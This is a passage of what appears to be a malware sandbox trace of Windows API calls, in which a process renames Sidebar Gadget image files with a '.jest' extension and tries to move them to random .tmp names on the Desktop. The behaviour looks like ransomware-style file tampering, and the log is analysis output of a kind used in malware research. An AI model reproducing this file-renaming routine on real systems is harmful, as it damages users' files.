DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔣ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.674] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.675] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.675] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.675] GetTickCount () returned 0x11521d3 [0126.675] GetTickCount () returned 0x11521d3 [0126.675] GetTickCount () returned 0x11521d3 [0126.675] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.675] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.675] GetTickCount () returned 0x11521d3 [0126.675] IsWindowVisible (hWnd=0x30268) returned 0 [0126.675] Sleep (dwMilliseconds=0x0) [0126.676] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png.jest")) returned 0 [0126.678] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png", lpFilePart=0x18e6d8*="row_over.png") returned 0x52 [0126.678] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7b85ea, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb7b85ea, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb7f401c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x57, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 0x143ce48 [0126.679] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.680] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.680] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x220)) [0126.680] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x220)) [0126.680] GetUserDefaultLCID () returned 0x409 [0126.680] VarBstrFromR4 (in: fltIn=0x47944546, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.55") returned 0x0 [0126.681] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.681] GetTickCount () returned 0x11521e3 [0126.681] GetTickCount () returned 0x11521e3 [0126.681] GetTickCount () returned 0x11521e3 [0126.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.681] GetTickCount () returned 0x11521e3 [0126.681] IsWindowVisible (hWnd=0x30268) returned 0 [0126.681] Sleep (dwMilliseconds=0x0) [0126.683] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.683] GetFullPathNameA (in: lpFileName="yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", lpFilePart=0x18e708*="yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp") returned 0x8f [0126.683] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png", lpFilePart=0x18e708*="row_over.png") returned 0x52 [0126.684] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\row_over.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\row_over.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ymcnuzr78ygit9oirvscdcfvzun0utd9muuyzkbwllzlhqbmaw da0 slvhpvjuyopysxw8yxcrj zltdwnhti5q9dah2tf6ok7p2.tmp")) returned 0 [0126.686] GetLastError () returned 0x5 [0126.686] GetLastError () returned 0x5 [0126.686] SetLastError (dwErrCode=0x5) [0126.686] GetLastError () returned 0x5 [0126.686] SetLastError (dwErrCode=0x5) [0126.686] GetLastError () returned 0x5 [0126.686] SetLastError (dwErrCode=0x5) [0126.686] GetFullPathNameA (in: lpFileName="yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", lpFilePart=0x18e6e4*="yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp") returned 0x8f [0126.686] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yMcNUzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4e634d79, cFileName="UzR78ygIt9oirvscDCfvzuN0utD9mUUyzKBWLLzLhQBMaW dA0 SlVhPvjuyopysXw8YXCrJ ZLtdWNhtI5Q9daH2tf6oK7p2.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.687] GetLastError () returned 0x2 [0126.687] GetLastError () returned 0x2 [0126.687] SetLastError (dwErrCode=0x2) [0126.687] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.688] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ő", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.688] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.688] GetTickCount () returned 0x11521e3 [0126.688] GetTickCount () returned 0x11521e3 [0126.688] GetTickCount () returned 0x11521e3 [0126.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.688] GetTickCount () returned 0x11521e3 [0126.688] IsWindowVisible (hWnd=0x30268) returned 0 [0126.688] Sleep (dwMilliseconds=0x0) [0126.689] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png.jest")) returned 0 [0126.691] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png", lpFilePart=0x18e6d8*="triangle.png") returned 0x52 [0126.691] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb81a17c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x57, dwReserved1=0x0, cFileName="triangle.png", cAlternateFileName="")) returned 0x143ce48 [0126.692] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.694] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.694] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x230)) [0126.694] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x230)) [0126.694] GetUserDefaultLCID () returned 0x409 [0126.694] VarBstrFromR4 (in: fltIn=0x47944548, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.56") returned 0x0 [0126.694] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.694] GetTickCount () returned 0x11521e3 [0126.694] GetTickCount () returned 0x11521e3 [0126.694] GetTickCount () returned 0x11521e3 [0126.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.694] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.694] GetTickCount () returned 0x11521e3 [0126.695] IsWindowVisible (hWnd=0x30268) returned 0 [0126.695] Sleep (dwMilliseconds=0x0) [0126.695] GetFullPathNameA (in: lpFileName="yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", lpFilePart=0x18e708*="yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp") returned 0x8e [0126.696] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png", lpFilePart=0x18e708*="triangle.png") returned 0x52 [0126.696] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yteueywkz227vhql_jx 6sfo54ful613ngh9tdtd-sz6kpxj8dy9qwakmceaenu3p-pi5_9npsssvwteljmdpxp7spepovdydbih.tmp")) returned 0 [0126.698] GetLastError () returned 0x5 [0126.698] GetLastError () returned 0x5 [0126.698] SetLastError (dwErrCode=0x5) [0126.698] GetLastError () returned 0x5 [0126.698] SetLastError (dwErrCode=0x5) [0126.698] GetLastError () returned 0x5 [0126.698] SetLastError (dwErrCode=0x5) [0126.699] GetFullPathNameA (in: lpFileName="yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", lpFilePart=0x18e6e4*="yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp") returned 0x8e [0126.699] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yTEUEYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x55455479, cFileName="EYwKZ227vhQl_Jx 6SfO54fUl613nGh9tdTD-sZ6kpXj8dY9qWAkmCeAENu3p-Pi5_9nPSSSVWTEljMdPxP7sPepovdYDBih.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.699] GetLastError () returned 0x2 [0126.699] GetLastError () returned 0x2 [0126.699] SetLastError (dwErrCode=0x2) [0126.699] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.700] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Œ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.700] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.700] GetTickCount () returned 0x11521f3 [0126.700] GetTickCount () returned 0x11521f3 [0126.700] GetTickCount () returned 0x11521f3 [0126.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.700] GetTickCount () returned 0x11521f3 [0126.700] IsWindowVisible (hWnd=0x30268) returned 0 [0126.700] Sleep (dwMilliseconds=0x0) [0126.701] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png.jest")) returned 0 [0126.701] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x4c [0126.701] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa54a84, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaa54a84, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc07b211c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x57, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0126.701] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.702] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.702] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x23f)) [0126.702] VarBstrFromR4 (in: fltIn=0x4794454a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.58") returned 0x0 [0126.704] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.704] GetTickCount () returned 0x11521f3 [0126.704] GetTickCount () returned 0x11521f3 [0126.704] GetTickCount () returned 0x11521f3 [0126.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.704] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.704] GetTickCount () returned 0x11521f3 [0126.705] IsWindowVisible (hWnd=0x30268) returned 0 [0126.705] Sleep (dwMilliseconds=0x0) [0126.705] GetFullPathNameA (in: lpFileName="lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", lpFilePart=0x18e708*="lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp") returned 0x8d [0126.705] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x4c [0126.705] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\drag.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lwimmz8v2eyxshh8hndixzzqkur4cn5kzhl_jx0xujoe7qpprs dq1szou3hmufunzxfymysi7kz_kn1es2 10za0nciwsjhs6g.tmp")) returned 0 [0126.706] GetLastError () returned 0x5 [0126.706] GetLastError () returned 0x5 [0126.706] SetLastError (dwErrCode=0x5) [0126.706] GetLastError () returned 0x5 [0126.706] SetLastError (dwErrCode=0x5) [0126.706] GetLastError () returned 0x5 [0126.706] SetLastError (dwErrCode=0x5) [0126.706] GetFullPathNameA (in: lpFileName="lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", lpFilePart=0x18e6e4*="lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp") returned 0x8d [0126.706] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lWimMz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d69576c, cFileName="Mz8v2eyXSHH8hNDIxZzQKur4CN5KZhL_jX0XUjOe7qPprS dq1sZou3hMUFuNZXfYMYSi7kz_kn1eS2 10ZA0Nciwsjhs6g.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.706] 